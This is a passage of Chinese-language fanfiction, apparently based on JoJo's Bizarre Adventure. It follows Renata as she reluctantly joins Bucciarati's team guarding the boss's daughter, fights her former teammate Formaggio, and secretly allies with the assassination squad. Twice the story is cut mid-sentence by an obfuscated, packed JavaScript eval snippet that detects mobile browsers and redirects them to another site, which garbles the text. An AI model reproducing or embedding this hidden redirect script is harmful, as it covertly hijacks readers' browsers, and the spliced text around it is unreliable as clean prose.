他低头苦笑说:“只怕那时,她早就忘记我了……她太过鲜活,充满生机,又如何爱上一个已经苍老的人。” 苍老吗?我看着他斑白的鬓角,跟豌豆般皱缩的皮肤。 “老先生,你叫什么名字?”正当我想问他名字时,他已经消失不见,他之前的位置上只留下了一瓶还没有打开的泡泡水。 我拿着泡泡水到处闲逛,借了一辆车打算沿着山路往上开,我想沿途会有不错的风景。 这个地方风景很不错,或许下次我该带岸边露伴来这看看。 26.加班就是狗屎 我盯了一下厕所门外的贝利可罗和周围一圈奇装异服的家伙,默默选择缩回了厕所的小隔间。 谁懂啊,我只是开车开久了来上个厕所。结果一上完厕所就发现我的上司似乎在外面商量啥事情,为了不被他发现,于是我只好默默缩回去期盼他别看到我。 为什么会在周末碰到上司啊!还是在厕所门外! 这个世界对我也太坏了吧!万一他看到我后突然想揪我去加班怎么办,我还没玩够呢! 正当我暗暗决定等他们走光了我再走时,我听到一个少年的声音:“布加拉提,那个女厕所里面还藏着一个人。” 我环顾四周,这个女厕所只有我一个人。靠! “谁?!快出来!”还没等我准备开口,一个迷你替身骑着一个子弹就飞过来了。 约旦河马上显行,一把捏住那个小替身和子弹。 紧接着我听到了几声尖锐的吵闹声:“米斯达!那家伙也是替身使者!她把NO.5给挟持了!” 被约旦河攥在手里的迷你替身也开始嚎叫起来:“呜呜呜好痛啊米斯达。” “快去救NO.5啊!” “太卑鄙了!” 厕所外面似乎有一个枪手,这个应该是他的替身,等等,应该说这个和那一群吵到我神经痛的都是他的替身。 意识到这点后,我赶忙扒住约旦河那只奇形怪状的手:“你别把它捏爆了。” “米斯达,她说要把我捏爆!呜呜呜呜啊……” “?!我不是我没有,你不要骗人。”我一边走出来一边解释,“是你们先不问一声就开始……” 其实我通常不喜欢解释的,可这群替身实在是太吵了!这到底是哪个神经病的替身!他有精神分裂症吗? 但有一道暴怒中带着惊讶的声音突然打断了我:“你为什么会在这!” 我闻声看了过去,和我邻居错愕的眼神对上了。 他怎么在这! 他和贝利可罗混在一起了?不会吧不会吧……这个笨蛋是不是脑子疯了…… 枪手再次举着枪对准我:“阿帕基,你认识这个人?” 阿帕基的眉头紧皱,双目涣散:“认识是认识,但我不知道她为什么会出现在这里,更不知道她竟然是替身使者……” 枪手似乎从这段话中提取到了什么信息,再次举着枪对准我,厉声问:“你的目的是什么!为什么要鬼鬼祟祟地躲在厕所里!” 为什么我每次偷着躲人都要被发现! 我急忙看向贝利可罗,他没有替我开口的意思,急得我立刻在我身上的口袋里翻找我的胸针。 我再也不买工装裤了,怎么这么多口袋,这么多拉链啊! “米斯达,她不是敌人。”耳熟的少年音响起,一个顶着一头跟甜甜圈似的卷发的金发碧眼少年站到了我前面,带着一股极淡的花香味,五官异常俊美,仿佛经过精雕细琢一般。 “她也是热情的人。” 他怎么知道我是热情的人,我见过他吗?我眯起眼睛打量着美少年,好像长得确实很眼熟…… 枪手没有立刻回答金发少年,而是望向另外一边的一个黑色妹妹头的家伙。 从我刚刚偷听到的话来看,他好像是新升上来的干部吧。 那个黑发妹妹头的家伙的蓝眼钉在我身上好一会,才转向贝利可罗:“贝利可罗先生。” 贝利可罗这个死哑巴这下知道开口了:“她不是敌人,不用攻击她。” 我马上收回了约旦河,盯着贝利可罗:“您好,没有一开始就露面是我的疏忽。” 他深深望了我一眼:“既然你已经在这了……刚刚那个关于护送老板女儿的任务你听了多少?” “没听。”我很理直气壮地说。 贝利可罗对我这个答复似乎将信将疑,但他还是又重复了一遍。 这家伙怎么要跟我说的这么详细,不会是想让我也加入吧。 别吧。 不过原来那个远处站着的女孩就是老板的女儿吗?因为之前调查老板没有调查出一根毛线,我对老板的好奇心达到了巅峰,所以我不由自主地就望向了老板女儿的位置。 不看还好,一看不得了。 ……妈呀,我勒个辣妹啊?! 看看那光滑水嫩的皮肤,简直吹弹可破。她的长相偏艳丽,有着精致小巧的翘鼻,一双碧眼上有着密长而卷曲的睫毛,配上了那可爱至极的粉发,像一朵危险迷人的大丽花。 她那身时尚别致的衣服完美展现了姣好的身材。她拥有完美漂亮的腰臀比,肌肉线条流畅。我一向认为,和男人相比,女人身上最性感的地方应该是腿和软乎乎的小腹。她拥有紧致而不失肉感的腿,大小腿比例匀称,富有力量感,修长而笔直,白得晃人眼。 要是老板有她一半迷人,我就会发誓我愿意为了组织肝脑涂地! 在我被美色迷眼的时候,贝利可罗突然说:“你也加入他们的任务吧,蕾娜塔。” 我:“……?!” “冒昧问一下,这个任务大概持续时间有多久呢……” 贝利可罗淡定地说:“一周左右吧。” 我的天都塌了。 不要啊,我还没玩完呢,不要哇! 虽然我很喜欢老板女儿的长相啦,但是加班这种事情还是不要啊! 似乎是看我没反应,贝利可罗又说:“这次任务顺利完成,老板会让你转到亲卫队的。” 亲卫队,听着就命苦,不转不转,如果里面有大美人给我泡泡那就再议。 但显然贝利可罗没有征询我的意见的想法,他转向那个妹妹头:“布加拉提,你没有意见吧?” 那个妹妹头的人马上说:“当然没问题,贝利可罗先生。” ……他都答应了我还能拒绝吗。拒绝了不就显得我这个人特别没眼力见吗。 我愤怒地看了一眼名叫布加拉提的同僚:“好吧。” 贝利可罗看了我一眼,没有说话,只是拍了拍我的肩膀,然后语重心长地说了句:“我很看好你啊,蕾娜塔。” 你别看好我了。 贝利可罗走后,刚刚袭击我的枪手,脸上带着歉意踱步过来,:“抱歉啊,我刚刚有点着急。你别介意。” 我:“你都这么说了那我肯定得说没关系啦……想得美啊!臭小子!” 枪手不好意思地抠抠后脑勺,赔笑,标准的阳光男孩笑容:“嘛,对不起啦。我叫盖多.米斯达。” “蕾娜塔。” 正当我准备去问候问候我邻居时,金发甜甜圈少年走了过来,仔细一看我才发现他长得真好看啊,虽然还没有完全长开,不过已经隐约能够看出绝世美少年的雏形了,就是哪怪怪的…… 他弯起眼睛:“蕾娜塔,好久不见。” “额,你是……” 少年玉石般碧绿的眼睛闪过一丝笑意,道:“我是乔鲁诺啊。” “你,你,你你!”我“你”了个半天。在他好整以暇的目光中终于凑出来一句话:“你去烫头染发穿开骚包的胸衣加入黑手党了??!你知不知道你今年就要升高中啊!” 乔鲁诺一脸正气凛然:“我知道。还有,我没有烫头染发。” 我:“……”这小子为什么每次都是一副非常理所应当的表情啊。 乔鲁诺说他的头发是某一天突然变成金色的,卷发是他每天早上起床专门做的造型,至于骚包的开胸衣……他没解释。 我环视了周围一圈黑手党的着装打扮。不由得思考,热情是不是存在什么隐藏服装要求,不然为什么这群家伙要打扮成这样。 我盯了乔鲁诺好一会,发现我有点忍不住了。 众所周知,我是一个很随心所欲的女人。 我看到乔鲁诺的甜甜圈造型的第一秒,我就很想把我的手指戳进他的甜圈圈造型的卷发里了。 于是我真的这么做了,我不仅戳进去了,我还扯了扯。 在他错愕的目光里,我非常淡定地说:“好久不见,乔鲁诺。” * 布加拉提开始安排了:“现在我们先回去,去秘密基地里暂时安置老板女儿。没问题吧?蕾娜塔。” “哦,没问题。” 这家伙为什么要专门点我,我只想摸鱼啊。 我临时加入的这个小组的组员看上去人都还算好,至少比我第一次见到暗杀组的时候要正常多了。 看着那群家伙马上要上车了,乔鲁诺自然而然准备拉开驾驶座时,我忍不住先开口:“等等。” 他们其它人全部都望向我,一个穿着破洞裤的看上去很礼貌的白发少年马上问:“怎么了?” 我指着乔鲁诺:“我记得,你才十五岁。” “是。” 我深吸一口气:“你还没驾照吧,怎么可以让你开车?”说完,我转向我邻居:“你有驾照啊?你为什么不开车。” 阿帕基一副“你有病吧”的表情看着我,但他还是哼了一声,从乔鲁诺那里抢过钥匙,嘲讽地看了眼乔鲁诺:“小鬼连车都开不了,呵。” 我在他们两个人中间左看右看,发现了一件很恐怖的事情,我拉了一下我邻居的袖子,让他弯下腰,贴到他耳边悄悄说:“你竟然欺负小朋友,你也太恶劣了吧。” 阿帕基听了之后,拧紧眉头,反问:“你是什么时候加入热情的?” “大约两年前吧?” 他的脸抽搐了一下,漂亮的灰紫色眼睛涌动着愠怒,面上乌云密布,咬牙:“骗我很好玩吗?” “我没骗你,是你自己不问。” 哇,他看上去快要被我气吐血了。 “那你真会藏啊。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272201|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过奖。” 许久不见,阿帕基的打扮变得放荡多了,看上去也更迷人。 我打量着他那一头瀑布般的银色长发,暴露的开胸衣,一双比先前更加凌厉的灰紫色眼睛,突然想起来一件重要的事情: 我俩没打分手炮。 我跟着他们上车,往特莉休旁边一坐,深吸一口气。 哇,真香啊。 盖多米斯达也挤过来坐我旁边,他指了指前后左右的人说:“那是布加拉提,他算是我们的领头。那个看上去很绅士的穿破洞裤的是福葛,带头巾的是纳兰迦,乔鲁诺和阿帕基你已经认识了吧,你们怎么认识的?” 他们两个人没开口,于是我说了:“阿帕基是我邻居外加前男友,乔鲁诺是我……额 算得上弟弟?”他和直子还有阳莱关系那么好,她俩就差没直接养乔鲁诺了,他叫我一声姐不过分吧。 乔鲁诺没反对。米斯达若有所思地摸了摸下巴:“难怪阿帕基第一次遇到乔鲁诺时说了那样的话……不过你是黑手党这事没告诉过阿帕基,你俩谈过恋爱?” 我假装没听到后面那句话:“他第一次见面跟乔鲁诺说啥了。” 米斯达也选择性耳聋……我服了。 我转而说:“欺负后辈可不是好前辈唉。” “呵,比不过你这个前辈。”坐在前面开车的阿帕基嘲讽。 孩子你怎么了,你以前不是这样的。给我变回以前那个善良热心肠让人心暖暖特别好欺负的阿帕基啊!你到底经历了什么啊! 我默默缩回脖子。 非常自来熟的米斯达又问我:“你之前是哪个小组的?” “暗杀小组。” 米斯达思考了一下,然后突然露出惊恐的表情:“你不会就是那个killer queen吧?” 我更加惊恐地看向他:“什么killer queen?” 米斯达马上八卦:“我听别人讲的,那家伙喜欢在自己杀死的人身上刻killer queen的字样。有点变态,对吧?” 我沉默了一会,很认真地说:“我不是变态。” 米斯达:“嗯?” “killer queen确实是一个变态的替身,我喜欢刻那个只是因为,额,恶趣味。”我非常坦诚地承认我有些恶趣味这件事,“话说你肚子上的是什么,新型穿孔?” 盖多米斯达面不改色地回答:“回形针啊,这是福葛帮我的伤口做的紧急处理。” 我面露惧色地看向名为福葛的穿破洞裤的清秀青年。这小子该不会是个智障吧?这样绝对会感染伤口的。 本着我是个热心肠的人,我决定帮帮临时新队友。 我拍了拍坐我旁边的特莉休:“你往旁边挪挪,我给这家伙重新处理一下伤口。” 特莉休错愕地看了我一眼,估计是没想到我竟然就用这样自然得跟我俩是老熟人一样的口吻和她说话了。 不过她还是稍微往旁边挪了一下,还附上了一句:“不要随便碰我。” 我点点头:“你皮肤真好,不随便让人碰是对的。” 她被我噎住了,不说话,看向窗外。 坐在前座的纳兰迦回头:“你还会处理伤口啊?” “我学过一点,不过不太专业啦。” 但也比拿回形针缝合要好的多吧!这不能用糙来形容,他们这群人简直就是一点安全意识都没有吧! 我叫出约旦河,让它掏出一个医疗箱。坐在后排的破洞裤青年看到后,突然开口:“你的替身可以随便变出东西吗?” “不可以,它只是可以储存罢了。”我说着拿起镊子准备把回形针给弄出来。 “喂,你轻点啊,喂!” 在米斯达如同仙乐般的哀嚎声中,我们很快抵达了港口。 我告诉布加拉提,我得把游艇开回去,所以不和他们一起,让他确定好会面地点。 布加拉提听了之后,笑了一下:“我还以为你不会在意这种事情。” 他什么意思,我看上去很像是那种借东西就不还的人吗?拜托!我只是有时候有些恶趣味,又不是个坏蛋。 就算他是个干部,我也毫不客气地怼了回去:“那或许你还不太了解我。” 但他没有像伊鲁索或者加丘那样怼回来,而是温柔地笑了笑:“你到现在都没有认出我吗?蕾娜塔。” 我看着他那张秀美到有些许雌雄莫辨的面庞,被微风吹动的柔顺的黑发,一张美丽的脸蛋上带着温和的微笑…… 完蛋,死活也想不起来我之前是不是认识这家伙,该不会是我之前在哪个酒吧搭讪过吧?这家伙长的这么漂亮确实是我会去搭讪的类型……不会是我喝醉酒骚扰过对方吧?不会吧不会吧。 接着我看向他大大敞开的胸口,选择先发制人:“你里面穿的是蕾丝内衣吗?” 27.你皮肤挺好的耶(二合一) “你里面穿的是蕾丝内衣吗?” 普通人听到我这样直白的发问可能会觉得我是个神经病,但布加拉提显然不是个普通人。 他很认真地看着我回答:“如果你喜欢这个款式,我可以给你推荐。” “……谢谢,任务结束再说吧。再见。” 布加拉提叹了口气:“你转移换题的技术还是那么烂。你真的想不起我是谁吗?” 我默默看向海平线,假装没听见,准备溜走。然后被他一把提溜住。 他咳了一声,开始唱:“London bridge is falling down,falling down……” 在他的歌声中,我的记忆渐渐苏醒,指着他大叫:“啊!是你!我的……” “斑比。”他接过话茬。 布加拉提原来就是我的斑比! 啊呸,他是我童年玩伴啊!因为他长得特别可爱,眼睛很大布灵布灵的,穿的衣服上总是有斑点,再加上我那个时候特别喜欢看小鹿斑比,所以我一直叫他斑比。 刚刚没想起来,但一听到他唱这首我小时候特别喜欢唱的歌,我就马上想起来了! 院长跟我说他是男孩子时,我其实还不太愿意去相信。哪家小男孩长这么可爱还那么听话啊,大部分小男孩都很欠揍。 小时候的玩伴原来真的是男的还变成了现在这副模样这件事给我不小的冲击,我记得我给他穿裙子编辫子的时候,他没说一句反对的话啊。 “我一眼就认出你了。虽然我们很久没见面。”他说这话时,嘴角微微上翘,似乎想到了什么笑话。 “是啊,以前我不喜欢在孤儿院呆着还经常跑你家那去,你爸爸做的饭真好吃……”我说着说着,突然想起了院长妈妈跟我讲的他家发生的事,被自己的冒昧发言给惊住了,一不小心咬到了舌头。 布加拉提看了看我:“怎么了?” 我干巴地说:“额,布加拉提,我从院长妈妈那知道了你们家的事……额,那个什么,总之,节哀顺变。” 救大命,我在说什么? 可是布加拉提听了之后没有很敷衍地说任何话,而是笑了一会才说:“蕾娜塔你成长了,如果是以前的你或许根本不会在乎这些事,也不会安慰我……我很感谢你的安慰。” “那不会吧,我小时候有那么冷漠吗?” 他摇了摇头:“并不算冷漠,你只是有些特立独行。只在乎自己感兴趣的事和能够理解的事……不感兴趣的事情你一点也不想听。就像是我说了很多遍我是男孩子,你依然要给我穿裙子,把我当成小姑娘一样。但我怎么能忍心拒绝你呢?你可是把你卖饼干做家务得到的所有零花钱都拿来给我买裙子了。” ……小时候的我也太有个性了吧?到底是怎么做到完全不听别人说话的! 我忍不住感叹:“看来我们都变了好多啊。” 布加拉提沉默了一会才道:“是啊。” 可不是嘛,谁能想到小时候穿可爱蓬蓬裙的小朋友,长大后竟然变成了在开胸西服里穿蕾丝内衣的妹妹头黑手党啊! * 按照布加拉提给我圈的地点,我比他们稍晚一些抵达了那座葡萄园里的秘密基地。老实说,我有些好奇这栋房子是谁名下的财产,难道是布加拉提?他什么时候这么有钱了。 当我走进来的时候,福葛正拉着纳兰迦的领子凶他,我一把扯开他俩:“别挡路。” 我挺想看他俩打起来的,但是他俩也不能挡我路啊。 福葛怒吼:“让这家伙一个人去买东西!我果然不能放心。” 坐在楼梯上的阿帕基一副吊儿郎当的模样:“戳还是不戳是你们两个之间的问题,但是凭借纳兰迦的替身能力,就算有人尾随,他也能顺利阻止追踪者,所以布加拉提才会让这家伙去买东西吧。” 那一刻我似乎幻视到纳兰迦不存在的尾巴翘上天了,立刻拦住马上要出门的他,看着福葛:“所以现在是让他一个人去采买?” 福葛看上去好像有些焦虑:“是啊,但我放心不下他。” 我把手放在纳兰迦的肩膀上:“那就让我也一起去呗,正好有些女人需要的东西他可能还选不来。”我指着纳兰迦的鼻子,警告:“更重要的是,你还没有驾照吧。” 纳兰迦表示很不解:“我们都是黑手党了,还在乎驾照干嘛?” 我摇了摇头:“这很重要。有时候突发的意外可比强劲的敌人更可怕。所以,不管你到底开了多久车,只要你还没有驾照,有我在你们谁也别想开车。” 说完我警告地看了一眼站在楼梯上的乔鲁诺。 他没有接受我警告的眼神,而是冲我微微一笑。用他那张伟大到迷惑人心的脸朝我微微一笑。用他那张人神共愤,仿佛是造物主精心雕刻的美少年面庞朝我微微一笑。 妈呀,这小子长大点后怎么变得这么漂亮了,好吧,我愿意把我的钱全部给他……等等,清醒点啊!不要被美色骗走了啊! * 和纳兰迦采买的过程异常地丝滑。连纳兰迦这个脑子看上去不太灵光的可爱小笨蛋都说:“感觉有点奇怪呢。” 我点头附和他:“是有点……” 当我拉开门坐上车的那一刻,一个声音突然响起:“蕾娜塔啊,你和布加拉提的人呆在一起做什么?” 这个声音! 听上去好熟悉哦…… 我冷静地问:“你是谁,你在哪?” “……”神秘的声音被我噎住了一下,马上吼道:“才分开没几天你连我的声音都听不出来了!” 我震惊:“霍尔马吉欧?你在这里干嘛?” “蕾娜塔,怎么了?”纳兰迦本来是要坐到副驾驶去的,但他一听到我稍微没控制住分贝的声音又连忙跑了过来询问我的情况。 霍尔马吉欧竟然在跟踪纳兰迦,他已经开始怀疑特莉休在布加拉提这里了,掩饰是无用的……按照他们的性子,宁可是误会,也不会放过一丝可能。 没有任何犹豫,我瞬间就在布加拉提和前队友间做出了选择。我马上对着纳兰迦大吼:“有敌人!快点检查这里的每个角落,尤其是自己的衣服包内,敌人拥有可以变小的能力!” “什么?”纳兰迦马上反应过来,喊出了他的替身:“「航空史密斯」!" 一架噗吐噗吐作响的带弹药的飞机就出现了—— 这个替身也太帅气了吧!凭什么约旦河就长的鬼模鬼样的,看着都瘆人,而其它人的替身就这么帅,我要闹了! 我马上提起采购到的东西塞给约旦河让它塞进它那个不知道通向什么空间的身子里,然后一个翻滚就跑下了车,快速说道:“敌人的替身能力可以把攻击到的人变小,一定要注意。如果被他攻击到了,一定要尽快解决掉他……” “蕾娜塔!”霍尔马吉欧没有藏着了,他现身了,带着阴森森的笑容:“你加入了布加拉提小队?嗯?老板女儿在你们那?” 我没说话只是举起手枪对准霍尔马吉欧朝他射击。 但他怎么可能坐以待毙,他马上叫出他的替身就挡住来自我和航空史密斯的射击。 我一面传送着,不断切换位置射击,即便是这样却也只射中了一些无关紧要的伤口。 但是当我下一秒传送过去时,却直直撞上了他的刀口,他低声说着:“我记得我告诉过你,不要让敌人预测到你的传送地点啊,蕾娜塔。” 我捂着我被他割伤的大臂,看向纳兰迦:“纳兰迦,我被他割伤了!接下来我们——” 但我还没有说完,霍尔马吉欧的替身马上就在纳兰迦的脸上划开了一个小口,在我准备阻拦之时,霍尔马吉欧突然消失了,他只留下了一句话:“看来你们两个配合的不好呢……” 这还用他说吗?我们才认识啊! “他变小了。”我冲过去扶起那个处于暴怒中的纳兰迦,给他脑门来了一下:“纳兰迦,不要发疯了。快点找到他,得赶在我们也变小之前……” “我知道了啊!”纳兰迦马上左看右看,“可恶,这里人太多了,到处乱窜,根本发现不了。可恶!可恶!” 他说着说着就开始踹起了车门:“在哪?在哪!那个混蛋……” 糟糕,我已经开始变小了。我看着周围因为我刚刚的枪击而惊慌失措乱窜的人,突然想到了,纳兰迦的航空史密斯该不会有可以检测生命体的能力吧,所以他才会说“到处乱窜的人让他无法发现霍尔马吉欧”。 “蕾娜塔!”纳兰迦举起已经变小的我:“怎么办?我找不到那家伙。等等,布加拉提,对,我应该去联系布加拉提!” “不!首要任务是找到他,纳兰迦。快用你的航空史密斯找到他!”我让他把我放下,否则他的变小效应和我的变小效应叠加在一起会让我更快变小……糟糕,我现在怎么只有几厘米高了! 纳兰迦一把我放下,就马上动用他的航天史密斯四处搜寻:“找到了!他在下水道!” “不!他不在那!”我朝纳兰迦大吼,飞扑过去,“快跑纳兰迦!” 是啊我都能想到的事情,霍尔马吉欧肯定也可以想到,只要他多观察一下我和纳兰迦就能想明白了。 可是来不及了,霍尔马吉欧拿捏住我们两个,冷笑着:“做选择吧蕾娜塔,用你的替身带着你一个人跑抛下这家伙,还是和他一起被折磨……” 他手里提着一个玻璃瓶,我不用看里面有什么东西就知道他想干嘛了。 纳兰迦对我叫着:“蕾娜塔,你先传送跑!” “什么?”我震惊地看着他。 他说:“跑!” 霍尔马吉欧啧了几声:“这家伙还护着你呢,他知不知道以前我们可是一起出任务的亲密无间的队友啊?” 我没有管霍尔马吉欧那些挑拨离间的话,我注视着纳兰迦紫色的双瞳,在那里面我能看到他对于完成这次任务的决心。 我缓缓开口:“纳兰迦,我很佩服你的决心。” 在我说完这句话的同时,我立刻打开了乌有之门将我传送至纳兰迦旁边,与此同时纳兰迦的航空史密斯引爆了汽车旁边的汽油箱,我拉着他一起又再次进入了“乌有之门”传送到了爆炸不会被波及的地方。 霍尔马吉欧浑身上下被火灼烧着,他大叫着:“你们!你们……” 纳兰迦恢复了大小,抹了把脸上的血,大笑着:“所谓默契,是要在实战中获得的啊!混蛋!“ 我按住纳兰迦的肩膀:“还没结束呢,对于暗杀组的人,没有确认他们确实失败前,都不要擅自侥幸。” 我马上拿起枪瞄准他的足跟腱射击,只要这样,他就会失去行动能力。 但在我只击伤了他的一条腿时,霍尔马吉欧划破了他的手腕,突然变小。 他竟然用他的血浇灭他身上的火! 我环顾四周:“糟糕了。这里到处都是火焰,如果我猜的没错,你的航空史密斯是靠二氧化碳定位的吧,这下很难找到他了,不如……” “确实很难找到他的位置呢,那么……”纳兰迦突然指着前方的无数辆停的歪歪扭扭的车,“就一起引爆了!” 我靠这小子也太会耍帅了吧? 伴随着纳兰迦的一声令下,航空史密斯射击了无数汽油箱,这条街瞬间就燃起了无数火焰。 我揉着我手臂上被划开的伤口,看见了在火光中,霍尔马吉欧摇摇晃晃地站了起来,他的半只手已经破破烂烂了,一条腿的也被我击伤了足跟腱。 他看到了我,献血沾满他的半张脸,也模糊了他的表情:“……你的剑……” 我向纳兰迦比了一个“交给我”的手势,朝他走去:“你说什么?说大声点。” 他冷笑了一声,大吼:“你的剑是里苏特给你专门锻造的,手枪是我亲手组装的,连纹路都是我雕刻的,你的枪法甚至是和加丘一起学的……呐,蕾娜塔告诉我,你现在是打算背叛我们和那些家伙一起了吗?你现在是打算为了那些家伙杀掉我吗!我们难道不是‘家人’吗?” 我召唤出约旦河贴在我旁边:“说起来,好像里苏特确实说过类似于我们是家人的话。不过我一向不会去记这种事,也不在乎,你觉得是就是吧。” 我举起手枪对准他的心脏,“但你说错了一点。我并没有背叛你们。从一开始我就没向任何人宣誓忠诚。先把我抛开的人是你们。我们当中没有一个人有错,只是选择了不同的道路,仅此而已。” “我也不希望你死的,霍尔马吉欧,但是任务就是任务。要怪就怪选择背叛组织的你吧。” 在我扣下扳机的那一刻,约旦河冲过去把车扔了起来,霍尔马吉欧的身影瞬间被那辆从天而降的汽车给遮挡住。与此同时,纳兰迦的航空史密斯引爆了整条街,回到了他身边。 我隔着火海和纳兰迦对视,比了一个“ok”。 * 我说了一声“得罪,这样方便点”后,就把纳兰迦敲昏了。我抱起他,然后打开了“门”,但是目的地不是我目视范围最远的地方,而是……一个纯白的空间。 说是纯白也不完全是,因为现在它地板上有着点点红斑。 “喂约旦河,这个空间应该是你负责打扫吧,我是绝对不会搞卫生的。”我看着地上斑驳的血迹这么说。 约旦河空洞的声音响起,在这个不知道边界在何处的房间里回荡着:“他走了以后,血迹自然会消失。” “那就好。”我抱着纳兰迦不太方便,只好用脚踢了踢霍尔马吉欧,“你还醒着吧,这点伤应该不至于把你痛昏过去。” 霍尔马吉欧瓮声瓮气地说道:“这是什么地方。” 因为纳兰迦有点重,我把他丢在了地上:“一个除了我没有人能进来的地方。” “说起来我能够发现这个诡异的地方还得感谢里苏特,如果不是他告诉我和同类型的替身作战可以突破能力。我或许还不能发现这个奇怪的地方。” “这里不属于任何一片空间也不属于任何一个时间,我把这里称作永恒的静止。” “进入这里的任何东西,他们身上的状态都会被静止。你难道没发现你的伤口没有流血了吗?所以,别生我的气啦,霍尔马吉欧。我没有把你看作敌人。” 霍尔马吉欧沉默了一会,嘲讽:“你刚刚和纳兰迦一起对抗我的样子可不像是……” “傻瓜,我骗他呢。我和他们才认识多久,和你们可是实打实的两年。” 他马上还嘴:“还差几个月才两年!” 我蹲下去,给他脑门来了个大比兜:“我直说了吧,你们的目的是找老板对吧?我和你们一样。不过我们要的东西不一样,所以我们一起合作吧。” “你要的什么?” 我没有告诉他我想要的是箭,因为我无法信任他们。 我还是沿用我关于寻找我双亲的那套说辞,我编造了一个不存在的人的故事,然后告诉他:“我的母亲或许死在老板手里,我需要得到真相。” 霍尔马吉欧过了一会才说:“你从未告诉我们这些事情。” “你们也没告诉我,你们想要夺权篡位啊。你们只是告诉我,我该走了。而且你们之前还防着我呢,所以我们扯平。” 霍尔马吉欧怒吼:“我们不单单只是为了利益而要找出老板的!” 我想起了之前调查到的他们死去的同伴的资料,点点头:“我知道,为死去的同伴出口恶气,为了你们的尊严对吧。” 我转而说:“你们不需要去刺杀布加拉提小队,抢走特莉休。没用,没用。他们最后会把特莉休护送到老板手里的,我们只需要等待就行了。让梅洛尼使用baby face,用我的血来追踪我。然后到了合适的地点时间,我们直接出击就行。” 我说完割开我的手,取了一管血塞给霍尔马吉欧:“我相信梅洛尼不会做小动作,他的替身追上我后,我会想办法把它藏起来的。等会我路过医院时就会把你放下,你先紧急处理一下,别死了。” 霍尔马吉欧冷笑着:“我的一条腿都被你和那小子废了,半边身子还被烧伤了……” 我很无所谓地说:“我认识一个会治疗的替身使者。等事情结束了,我会拜托他来治疗你的。” 我估摸着仗助和亿泰他们也快毕业了,我请他们来一趟意大利毕业旅行吧。顺便也感谢一下亿泰陪我练习空间传送,如果没他,我怎么能发现这么好用的能力! * 我抱着纳兰迦一路传送回去,把纳兰迦托付给福葛后,布加拉提看着我身上的伤口和昏迷的纳兰迦,急忙问:“你们遇到敌人袭击了?” 我点点头,把采买的东西丢给米斯达:“纳兰迦是我敲晕的,为了方便传送。” 简单阐述了一下情况后,我和纳兰迦被阿帕基压着去治疗了。当我出来时,发现乔鲁诺他们站在那里准备上车。 “这是怎么回事?”我问。 布加拉提解释:“老板让我们去庞贝取一样东西。” “是吗?那么小心点啊。” 我说完之后上楼去找特莉休,米斯达之前和我说要和我轮班看护。 在我上楼时,我的余光中看到一面镜子…… 然后我就被拉进镜中世界了!伊鲁索这个蠢货,要是暴露了我们有联系怎么办?! 我咬牙:“我告诉你们秘密基地的位置可不是为了让你潜入的!”我扯着他的领子警告地说:“合作的前提,不要动布加拉提小队的人……” 伊鲁索很生气地看着我:“我不是来攻击你们的!你为什么总是误会我,你就不能对我也好点吗?“ 我被噎住了,捏了捏眉心:“抱歉,伊鲁索……但你过来干嘛,我不能消失太久了,你长话短说。” 伊鲁索呵了一声,继续说:“里苏特同意了你的提议,但是有一点你没有考虑到,baby face是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15277072|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要母体培育的!” 我感到无语:“都替身了,还必须要来那套女人才能生孩子,让梅洛尼想个办法让你们这些男的生出一个不就行了吗?他的替身能力也突破一下啊!” 伊鲁索震惊地看着我:“你和梅洛尼说的完全一样!” “……既然梅洛尼都知道怎么做,为什么还要来找我。” 他露出了一个羞愤的表情,:“他让我来做载体!” “……那你就做呗?”我感觉不逗一下这个死处男我都过意不去了,“怎么,连精神上的贞操也要保留?你该不会连女孩子的嘴都没亲过吧。” 伊鲁索“你你你……”了个半天,一句话也没说出来,于是他转换了话题:“我们刚刚才收到消息,老板让你们去庞贝古城?” 我点点头:“是啊,要不你去给他们添点乱吧。” “什么……”伊鲁索皱眉:“你不是让我们等着吗?” 我很客观地分析了一下,表示我并不是想支开他:“我感觉老板的意思是要借特莉休的机会铲除异党,如果一直没有人攻击我们,那么他或许会卡到最后才让我们护送特莉休到他身边。可如果有人在追击,那就不一样了,他或许就会急着让我们送特莉休去他身边。能更快见到老板不是更好?” 伊鲁索说:“我以为你会希望可以晚点见到老板。” 我知道他的意思。老板在传闻里太过强大了,正常人都是会畏惧强大的。但:“我更喜欢早点解决心腹大患,不然我连觉都睡不好。” 伊鲁索点点头:“那我就去给你的现队友找点麻烦了,前队友。” 他在“现队友”和“前队友”两个词上加了重音,生怕我听不出来他在阴阳我。 我挥挥手:“你点到为止,别把自己搭进去了。如果感觉不对就马上跑。” “知道了知道了,啰嗦。” 伊鲁索把我放回到现实世界,我敲开了特莉休的门,在她说请进时,我大跨步走进去,毫不见外地坐在了凳子上。 她看了眼我:“你可以就守在门外。” 我耸耸肩:“米斯达那种男人可以不进你房间,我这种漂亮女人也不行吗?” 特莉休似乎被我赖皮的发言给无语到了,不说话,低下头给自己涂指甲油。 我很好奇这个小女孩现在心里在想什么,是在恐惧身为黑手党boss的父亲,还是在暗暗期待能够见到素未谋面的父亲呢? 老板应该是从未和她见过面的,而她之前应该也过着很普通的生活,突然接触到黑手党的她心里会有什么想法呢? “你为什么一直看着我?”她忍不住问我。 我笑着说:“我很喜欢粉色的头发。” 